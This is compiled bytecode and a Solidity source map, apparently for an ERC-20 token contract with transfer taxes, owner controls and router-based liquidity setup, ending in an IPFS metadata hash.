6572666c6f7700000000006044820152606401610388565b5f610d5683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ca0565b5f81836110c35760405162461bcd60e51b815260040161038891906110cf565b505f610ccf84866113ab565b5f602080835283518060208501525f5b818110156110fb578581018301518582016040015282016110df565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461112f575f80fd5b50565b5f8060408385031215611143575f80fd5b823561114e8161111b565b946020939093013593505050565b5f805f6060848603121561116e575f80fd5b83356111798161111b565b925060208401356111898161111b565b929592945050506040919091013590565b5f602082840312156111aa575f80fd5b8135610d568161111b565b5f80604083850312156111c6575f80fd5b82356111d18161111b565b915060208301356111e18161111b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561123a57815f1904821115611220576112206111ec565b8085161561122d57918102915b93841c9390800290611205565b509250929050565b5f82611250575060016102d2565b8161125c57505f6102d2565b8160018114611272576002811461127c57611298565b60019150506102d2565b60ff84111561128d5761128d6111ec565b50506001821b6102d2565b5060208310610133831016604e8410600b84101617156112bb575081810a6102d2565b6112c58383611200565b805f19048211156112d8576112d86111ec565b029392505050565b5f610d5660ff841683611242565b80820281158282048414176102d2576102d26111ec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561134c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611375575f80fd5b8151610d568161111b565b5f60018201611391576113916111ec565b5060010190565b818103818111156102d2576102d26111ec565b5f826113c557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561142e5784516001600160a01b031683529383019391830191600101611409565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d2576102d26111ec56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e2c1f1247b35b71460f1ea0842a222b55542ead28266e0cea484ae9d6be128764736f6c63430008170033

3703:6607:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5906:83;;;;;;;;;;-1:-1:-1;5976:5:0;;;;;;;;;;;;-1:-1:-1;;;5976:5:0;;;;5906:83;;;;;;;:::i;:::-;;;;;;;;6738:161;;;;;;;;;;-1:-1:-1;6738:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6738:161:0;1023:187:1;6183:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6183:95:0;1215:177:1;6907:313:0;;;;;;;;;;-1:-1:-1;6907:313:0;;;;;:::i;:::-;;:::i;6092:83::-;;;;;;;;;;-1:-1:-1;6092:83:0;;4134:1;2000:36:1;;1988:2;1973:18;6092:83:0;1858:184:1;6286:119:0;;;;;;;;;;-1:-1:-1;6286:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6379:18:0;6352:7;6379:18;;;:9;:18;;;;;;;6286:119;2869:148;;;;;;;;;;;;;:::i;:::-;;2655:79;;;;;;;;;;-1:-1:-1;2693:7:0;2720:6;2655:79;;-1:-1:-1;;;;;2720:6:0;;;2445:51:1;;2433:2;2418:18;2655:79:0;2299:203:1;5997:87:0;;;;;;;;;;-1:-1:-1;6069:7:0;;;;;;;;;;;;-1:-1:-1;;;6069:7:0;;;;5997:87;;6413:167;;;;;;;;;;-1:-1:-1;6413:167:0;;;;;:::i;:::-;;:::i;5323:308::-;;;;;;;;;;;;;:::i;10007:300::-;;;;;;;;;;;;;:::i;6588:142::-;;;;;;;;;;-1:-1:-1;6588:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;6696:17:0;;;6669:7;6696:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;6588:142;6738:161;6813:4;6830:39;1556:10;6853:7;6862:6;6830:8;:39::i;:::-;-1:-1:-1;6887:4:0;6738:161;;;;;:::o;6183:95::-;6236:7;4190:13;4134:1;4190:2;:13;:::i;:::-;4177:26;;:10;:26;:::i;:::-;6256:14;;6183:95;:::o;6907:313::-;7005:4;7022:36;7032:6;7040:9;7051:6;7022:9;:36::i;:::-;7070:120;7079:6;1556:10;7101:88;7138:6;7101:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7101:18:0;;;;;;:10;:18;;;;;;;;1556:10;7101:32;;;;;;;;;;:36;:88::i;:::-;7070:8;:120::i;:::-;-1:-1:-1;7208:4:0;6907:313;;;;;:::o;2869:148::-;2782:6;;-1:-1:-1;;;;;2782:6:0;1556:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;;;;;;;;;2976:1:::1;2960:6:::0;;2939:40:::1;::::0;-1:-1:-1;;;;;2960:6:0;;::::1;::::0;2939:40:::1;::::0;2976:1;;2939:40:::1;3007:1;2990:19:::0;;-1:-1:-1;;;;;;2990:19:0::1;::::0;;2869:148::o;6413:167::-;6491:4;6508:42;1556:10;6532:9;6543:6;6508:9;:42::i;5323:308::-;2782:6;;-1:-1:-1;;;;;2782:6:0;1556:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;5387:13:::1;::::0;::::1;::::0;::::1;;;5386:14;5378:49;;;::::0;-1:-1:-1;;;5378:49:0;;5145:2:1;5378:49:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;5378:49:0::1;4943:347:1::0;5378:49:0::1;5438:10;::::0;5503:4:::1;6352:7:::0;6379:18;;;:9;:18;;;;;;5438:10;;;::::1;-1:-1:-1::0;;;;;5438:10:0::1;::::0;:26:::1;::::0;5472:21:::1;::::0;5534:1:::1;5536::::0;5538:7:::1;2693::::0;2720:6;-1:-1:-1;;;;;2720:6:0;;2655:79;5538:7:::1;5438:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5438:124:0;;;-1:-1:-1;;;;;5654:15:1;;;5438:124:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;5546:15:0::1;5868:19:1::0;;;5861:35;5570:19;;5438:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5573:12:0::1;:19:::0;;-1:-1:-1;;5603:20:0;;;;;-1:-1:-1;5323:308:0:o;10007:300::-;2782:6;;-1:-1:-1;;;;;2782:6:0;1556:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;10060:10:::1;:71:::0;;-1:-1:-1;;;;;;10060:71:0::1;::::0;::::1;::::0;;;;10142:53:::1;::::0;10159:4:::1;::::0;-1:-1:-1;;;;;10060:71:0;10174:10;;::::1;;4190:13;4134:1;4190:2;:13;:::i;:::-;4177:26;::::0;:10:::1;:26;:::i;10142:53::-;10233:10;;;;;;;;;-1:-1:-1::0;;;;;10233:10:0::1;-1:-1:-1::0;;;;;10233:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10217:48:0::1;;10274:4;10281:10;;;;;;;;;-1:-1:-1::0;;;;;10281:10:0::1;-1:-1:-1::0;;;;;10281:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10217:82;::::0;-1:-1:-1;;;;;;10217:82:0::1;::::0;;;;;;-1:-1:-1;;;;;6704:15:1;;;10217:82:0::1;::::0;::::1;6686:34:1::0;6756:15;;6736:18;;;6729:43;6621:18;;10217:82:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10206:8;:93:::0;;-1:-1:-1;;;;;;10206:93:0::1;-1:-1:-1::0;;;;;10206:93:0;;;::::1;::::0;;;::::1;::::0;;10007:300::o;7228:334::-;-1:-1:-1;;;;;7321:19:0;;7313:68;;;;-1:-1:-1;;;7313:68:0;;6985:2:1;7313:68:0;;;6967:21:1;7024:2;7004:18;;;6997:30;7063:34;7043:18;;;7036:62;-1:-1:-1;;;7114:18:1;;;7107:34;7158:19;;7313:68:0;6783:400:1;7313:68:0;-1:-1:-1;;;;;7400:21:0;;7392:68;;;;-1:-1:-1;;;7392:68:0;;7390:2:1;7392:68:0;;;7372:21:1;7429:2;7409:18;;;7402:30;7468:34;7448:18;;;7441:62;-1:-1:-1;;;7519:18:1;;;7512:32;7561:19;;7392:68:0;7188:398:1;7392:68:0;-1:-1:-1;;;;;7471:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;7522:32;;1361:25:1;;;7522:32:0;;1334:18:1;7522:32:0;;;;;;;7228:334;;;:::o;7570:1703::-;-1:-1:-1;;;;;7658:18:0;;7650:68;;;;-1:-1:-1;;;7650:68:0;;7793:2:1;7650:68:0;;;7775:21:1;7832:2;7812:18;;;7805:30;7871:34;7851:18;;;7844:62;-1:-1:-1;;;7922:18:1;;;7915:35;7967:19;;7650:68:0;7591:401:1;7650:68:0;-1:-1:-1;;;;;7737:18:0;;7729:66;;;;-1:-1:-1;;;7729:66:0;;8199:2:1;7729:66:0;;;8181:21:1;8238:2;8218:18;;;8211:30;8277:34;8257:18;;;8250:62;-1:-1:-1;;;8328:18:1;;;8321:33;8371:19;;7729:66:0;7997:399:1;7729:66:0;7821:1;7814:4;:8;7806:62;;;;-1:-1:-1;;;7806:62:0;;8603:2:1;7806:62:0;;;8585:21:1;8642:2;8622:18;;;8615:30;8681:34;8661:18;;;8654:62;-1:-1:-1;;;8732:18:1;;;8725:39;8781:19;;7806:62:0;8401:405:1;7806:62:0;7881:12;2720:6;;-1:-1:-1;;;;;7910:15:0;;;2720:6;;7910:15;;;;:34;;-1:-1:-1;2693:7:0;2720:6;-1:-1:-1;;;;;7929:15:0;;;2720:6;;7929:15;;7910:34;7906:999;;;7968:74;8038:3;7968:65;7988:15;;7978:9;;:25;7977:55;;8018:14;;7977:55;;;8005:12;;7977:55;7968:4;;:8;:65::i;:::-;:69;;:74::i;:::-;8071:8;;7961:81;;-1:-1:-1;;;;;;8063:16:0;;;8071:8;;8063:16;:47;;;;-1:-1:-1;8099:10:0;;-1:-1:-1;;;;;8083:27:0;;;8099:10;;;;;8083:27;;8063:47;:74;;;;-1:-1:-1;;;;;;8116:21:0;;;;;;:15;:21;;;;;;;;8114:23;8063:74;8059:126;;;8158:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8059:126;8212:8;;-1:-1:-1;;;;;8204:16:0;;;8212:8;;8204:16;:40;;;;-1:-1:-1;;;;;;8224:20:0;;8239:4;8224:20;;8204:40;8201:164;;;8272:77;8345:3;8272:68;8292:16;;8282:9;;:26;8281:58;;8324:15;;8281:58;;;8310:13;;8272:4;;:8;:68::i;:77::-;8265:84;;8201:164;8430:4;8381:28;6379:18;;;:9;:18;;;;;;8456:10;;;;8455:11;:31;;;;-1:-1:-1;8478:8:0;;-1:-1:-1;;;;;8470:16:0;;;8478:8;;8470:16;8455:31;:47;;;;-1:-1:-1;8490:12:0;;;;;;;8455:47;:81;;;;;8518:18;;8506:9;;:30;8455:81;8451:443;;;8583:14;;8560:20;:37;8557:129;;;8616:70;8633:52;8637:4;8643:41;8647:20;8669:14;;8643:3;:41::i;:::-;8633:3;:52::i;:::-;8616:16;:70::i;:::-;8734:21;8826:33;8837:21;8826:10;:33::i;:::-;8538:356;8451:443;7946:959;7906:999;8920:22;8931:4;8937;8920:10;:22::i;:::-;:34;;;;;8953:1;8946:4;:8;8920:34;8917:177;;;9013:4;8995:24;;;;:9;:24;;;;;;:34;;9024:4;8995:28;:34::i;:::-;8986:4;8968:24;;;;:9;:24;;;;;;;:61;;;;9047:35;;-1:-1:-1;;;;;9047:35:0;;;;;;;9077:4;1361:25:1;;1349:2;1334:18;;1215:177;9047:35:0;;;;;;;;8917:177;-1:-1:-1;;;;;9124:15:0;;;;;;:9;:15;;;;;;:25;;9144:4;9124:19;:25::i;:::-;-1:-1:-1;;;;;9106:15:0;;;;;;:9;:15;;;;;:43;9178:35;9198:14;:4;9207;9198:8;:14::i;:::-;-1:-1:-1;;;;;9178:15:0;;;;;;:9;:15;;;;;;;:19;:35::i;:::-;-1:-1:-1;;;;;9160:15:0;;;;;;;:9;:15;;;;;:53;;;;9229:36;;;9250:14;:4;9259;9250:8;:14::i;:::-;9229:36;;1361:25:1;;;1349:2;1334:18;9229:36:0;;;;;;;7639:1634;7570:1703;;;:::o;653:190::-;739:7;775:12;767:6;;;;759:29;;;;-1:-1:-1;;;759:29:0;;;;;;;;:::i;:::-;-1:-1:-1;799:9:0;811:5;815:1;811;:5;:::i;:::-;799:17;653:190;-1:-1:-1;;;;;653:190:0:o;851:246::-;909:7;933:1;938;933:6;929:47;;-1:-1:-1;963:1:0;956:8;;929:47;986:9;998:5;1002:1;998;:5;:::i;:::-;986:17;-1:-1:-1;1031:1:0;1022:5;1026:1;986:17;1022:5;:::i;:::-;:10;1014:56;;;;-1:-1:-1;;;1014:56:0;;9508:2:1;1014:56:0;;;9490:21:1;9547:2;9527:18;;;9520:30;9586:34;9566:18;;;9559:62;-1:-1:-1;;;9637:18:1;;;9630:31;9678:19;;1014:56:0;9306:397:1;1014:56:0;1088:1;851:246;-1:-1:-1;;;851:246:0:o;1105:132::-;1163:7;1190:39;1194:1;1197;1190:39;;;;;;;;;;;;;;;;;:3;:39::i;9757:99::-;9814:7;9842:1;9840;:3;9839:9;;9847:1;9839:9;;;-1:-1:-1;9845:1:0;9757:99;-1:-1:-1;9757:99:0:o;9281:468::-;4908:10;:17;;-1:-1:-1;;4908:17:0;4921:4;4908:17;;;9383:16:::1;::::0;;9397:1:::1;9383:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9383:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9383:16:0::1;9359:40;;9428:4;9410;9415:1;9410:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9410:23:0::1;;;-1:-1:-1::0;;;;;9410:23:0::1;;;::::0;::::1;9454:10;;;;;;;;;-1:-1:-1::0;;;;;9454:10:0::1;-1:-1:-1::0;;;;;9454:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9444:4;9449:1;9444:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9444:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9514:10:::1;::::0;9482:57:::1;::::0;9499:4:::1;::::0;9514:10;;::::1;;9527:11:::0;9482:8:::1;:57::i;:::-;9550:10;::::0;:191:::1;::::0;-1:-1:-1;;;9550:191:0;;:10;;;::::1;-1:-1:-1::0;;;;;9550:10:0::1;::::0;:61:::1;::::0;:191:::1;::::0;9626:11;;9652:1:::1;::::0;9668:4;;9695::::1;::::0;9715:15:::1;::::0;9550:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4948:10:0;:18;;-1:-1:-1;;4948:18:0;;;-1:-1:-1;;;;9281:468:0:o;9864:96::-;9927:7;;9919:33;;-1:-1:-1;;;;;9927:7:0;;;;9919:33;;;;;9945:6;;9927:7;9919:33;9927:7;9919:33;9945:6;9927:7;9919:33;;;;;;;;;;;;;;;;;;;;;9864:96;:::o;5639:259::-;5701:4;5733:7;;;;;5751:116;;5790:9;:12;;;;;;;;5776:32;;5785:3;;-1:-1:-1;;;;;5790:12:0;5804:3;5776:8;:32::i;:::-;5837:12;;;:9;:12;;;;5823:32;;5832:3;;-1:-1:-1;;;;;5837:12:0;5851:3;5823:8;:32::i;322:179::-;380:7;;412:5;416:1;412;:5;:::i;:::-;400:17;;441:1;436;:6;;428:46;;;;-1:-1:-1;;;428:46:0;;11289:2:1;428:46:0;;;11271:21:1;11328:2;11308:18;;;11301:30;11367:29;11347:18;;;11340:57;11414:18;;428:46:0;11087:351:1;509:136:0;567:7;594:43;598:1;601;594:43;;;;;;;;;;;;;;;;;:3;:43::i;1245:189::-;1331:7;1366:12;1359:5;1351:28;;;;-1:-1:-1;;;1351:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1390:9:0;1402:5;1406:1;1402;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5907:306::-;5995:6;6003;6011;6064:2;6052:9;6043:7;6039:23;6035:32;6032:52;;;6080:1;6077;6070:12;6032:52;6109:9;6103:16;6093:26;;6159:2;6148:9;6144:18;6138:25;6128:35;;6203:2;6192:9;6188:18;6182:25;6172:35;;5907:306;;;;;:::o;6218:251::-;6288:6;6341:2;6329:9;6320:7;6316:23;6312:32;6309:52;;;6357:1;6354;6347:12;6309:52;6389:9;6383:16;6408:31;6433:5;6408:31;:::i;8811:135::-;8850:3;8871:17;;;8868:43;;8891:18;;:::i;:::-;-1:-1:-1;8938:1:1;8927:13;;8811:135::o;8951:128::-;9018:9;;;9039:11;;;9036:37;;;9053:18;;:::i;9084:217::-;9124:1;9150;9140:132;;9194:10;9189:3;9185:20;9182:1;9175:31;9229:4;9226:1;9219:15;9257:4;9254:1;9247:15;9140:132;-1:-1:-1;9286:9:1;;9084:217::o;9840:127::-;9901:10;9896:3;9892:20;9889:1;9882:31;9932:4;9929:1;9922:15;9956:4;9953:1;9946:15;9972:980;10234:4;10282:3;10271:9;10267:19;10313:6;10302:9;10295:25;10339:2;10377:6;10372:2;10361:9;10357:18;10350:34;10420:3;10415:2;10404:9;10400:18;10393:31;10444:6;10479;10473:13;10510:6;10502;10495:22;10548:3;10537:9;10533:19;10526:26;;10587:2;10579:6;10575:15;10561:29;;10608:1;10618:195;10632:6;10629:1;10626:13;10618:195;;;10697:13;;-1:-1:-1;;;;;10693:39:1;10681:52;;10788:15;;;;10753:12;;;;10729:1;10647:9;10618:195;;;-1:-1:-1;;;;;;;10869:32:1;;;;10864:2;10849:18;;10842:60;-1:-1:-1;;;10933:3:1;10918:19;10911:35;10830:3;9972:980;-1:-1:-1;;;9972:980:1:o;10957:125::-;11022:9;;;11043:10;;;11040:36;;;11056:18;;:::i

ipfs://9e2c1f1247b35b71460f1ea0842a222b55542ead28266e0cea484ae9d6be1287